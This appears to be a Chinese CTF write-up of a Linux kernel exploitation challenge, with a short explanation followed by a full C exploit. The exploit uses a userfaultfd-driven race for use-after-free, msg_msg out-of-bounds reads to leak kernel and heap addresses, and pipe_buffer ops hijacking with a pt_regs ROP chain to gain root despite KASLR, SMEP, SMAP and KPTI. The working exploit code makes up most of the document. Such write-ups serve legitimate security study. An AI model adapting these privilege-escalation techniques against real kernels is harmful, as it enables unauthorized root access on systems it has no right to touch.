这周在疯狂学kernel pwn。
记录一下这题,race conditon+msg_msg+pipe_buffer,kaslr+smep+smap+kpti。
漏洞很简单,所有操作都没加锁,就是race condition了。edit什么的都只能2次。
很明显了,一次泄露基址,一次劫持控制流。
这种板子就是UAF,在edit中copy_from_user的时候释放,然后再分配相同cache的结构体,就能篡改那个结构体了。题目中的是kmalloc-1k。很明显了,用UAF修改msg_msg的m_ts字段来越界读。
看一下slub的情况,没有开random_freelist。而且我们分配的object就在第一个,很整齐啊。这就想到了同样为kmalloc-1k的pipe buffer,可以越界读pipe buffer的op表,这是个全局变量,读出这个就能根据偏移计算出kbase了。
现在开始考虑怎么劫持控制流来提权。很明显也只能是pipe_buffer,第二次UAF篡改pipe_buffer的op表,现在问题来了。由于开启了smap,我们不能在用户空间伪造op表了,只能在内核空间。我们分配的object都是任由我们写的,看到在这儿伪造。
那么怎么知道object的地址呢?很明显,之前说了,没有看ramdom_freelist,我们可以把msg_msg的m_ts改大一点,顺便泄露下一个object的next指针,就能知道堆的地址啦。
注意,这道题中object的next指针不在0x0的位置,在很里面,最好msg_rcv后全都打印出来,别数了,容易数错。
最后我是打pt_regs来提权的,因为一下子找不到好的gadget来栈迁移,应该要找类似于"mov rsi,rsp",一下子没找到。
以下是代码:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <stdint.h>
int pipefd[2];
int hijack[2];
size_t init_cred;
size_t commit_creds;
size_t pop_rdi;
size_t heap_addr;
size_t add_rsp;
size_t restore;
struct list_head {
uint64_t next;
uint64_t prev;
};
struct msg_msg {
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};
struct msg_msgseg {
uint64_t next;
};
/*
struct msgbuf {
long mtype;
char mtext[0];
};
*/
int get_msg_queue(void)
{
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}
int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}
/**
* the msgp should be a pointer to the `struct msgbuf`,
* and the data should be stored in msgbuf.mtext
*/
int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
((struct msgbuf*)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz, 0);
}
/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}
void build_msg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev,
uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}
size_t prepare_kernel_cred=NULL;
size_t commit_creds=NULL;
size_t user_cs, user_ss, user_rflags, user_sp;
int fd;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
void err_exit(char *msg)
{
perror(msg);
sleep(2);
exit(EXIT_FAILURE);
}
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
void get_shell(){
system("/bin/sh");
}
struct Node{
size_t idx;
size_t size;
char* buf;
};
void del(size_t idx){
ioctl(fd,48,&idx);
}
void edit(size_t idx,size_t buf,size_t size){
struct Node node={idx,size,buf};
ioctl(fd,80,&node);
}
void add(size_t buf){
struct Node node={.size=buf};
ioctl(fd,32,&node);
}
void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) perror("[X] ioctl-UFFDIO_API"), exit(-1);
uffdio_register.range.start = (long long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) perror("[X] ioctl-UFFDIO_REGISTER"), exit(-1);
if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}
char mg[800];
char copy_src[0x1000];
size_t qu=0;
void* handler0(void* arg)
{
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg;
for(;;)
{
int res;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
res = read(uffd, &msg, sizeof(msg));
if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
puts("[+] Now in userfaultfd handler0");
memset(mg,'A',800);
pipe(pipefd);
write(pipefd[1],"haoqiguai\x00",10);
puts("[+] pipe end");
qu=get_msg_queue();
del(0);
write_msg(qu, mg, 800, 1);
size_t cpy[5];
cpy[0]=0;
cpy[1]=0;
cpy[2]=1;
cpy[3]=3000;
cpy[4]=0;
memcpy(copy_src,cpy,0x28);
uffdio_copy.src = (long long)copy_src;
uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
}
}
void* handler1(void* arg)
{
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg;
for(;;)
{
int res;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
res = read(uffd, &msg, sizeof(msg));
if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
puts("[+] Now in userfaultfd handler1");
del(0);
pipe(hijack);
write(hijack[1],"haoqiguai\x00",10);
size_t ch[3];
ch[0]=0;
ch[1]=add_rsp;
ch[2]=heap_addr;
memcpy(copy_src,ch,0x18);
uffdio_copy.src = (long long)copy_src;
uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
}
}
char *uffd_buf0, *uffd_buf1;
pthread_t thr0, thr1;
int main(){
//save_status();
bind_core(0);
fd=open("/dev/kernelpwn",2);
char buf[1024]={0};
add(buf);
uffd_buf0 = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
uffd_buf1 = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
if (uffd_buf0 == MAP_FAILED || uffd_buf1 == MAP_FAILED) err_exit("mmap for uffd");
register_userfaultfd(&thr0, uffd_buf0, 0x1000, handler0);
register_userfaultfd(&thr1, uffd_buf1, 0x1000, handler1);
puts("[+] start to leak kernel base and heap addr");
edit(0,uffd_buf0,0x28);
size_t leak[250]={0};
peek_msg(qu,leak,3000,0);
size_t ops=leak[125];
int j=0;
heap_addr=leak[315];
heap_addr-=0x400;
printf("heap_adde:%lx\n",heap_addr);
printf("pipe_buffer ops:%lx\n",ops);
size_t kernel_base=ops-0x203ed80;
printf("kernel_base:%lx\n",kernel_base);
init_cred=kernel_base+0x2a6b700;
commit_creds=kernel_base+0x10c9540;
pop_rdi=kernel_base+0x108c420;
restore=kernel_base+0x1c00fb0+14;
add_rsp=kernel_base+0x10546aa;//add rsp, 0x148; pop r12; pop rbp; ret;
add(buf);
edit(0,uffd_buf1,0x18);
close(hijack[0]);
__asm__(
"mov r15,0xdeadbeef;"
"mov r14,pop_rdi;"
"mov r13,init_cred;"
"mov r12,commit_creds;"
"mov rbp,restore;"
);
close(hijack[1]);
system("/bin/sh");
return 0;
}
对了,打pt_regs的add rsp的gadget推荐用ropper找,ROPgadget 找不出来。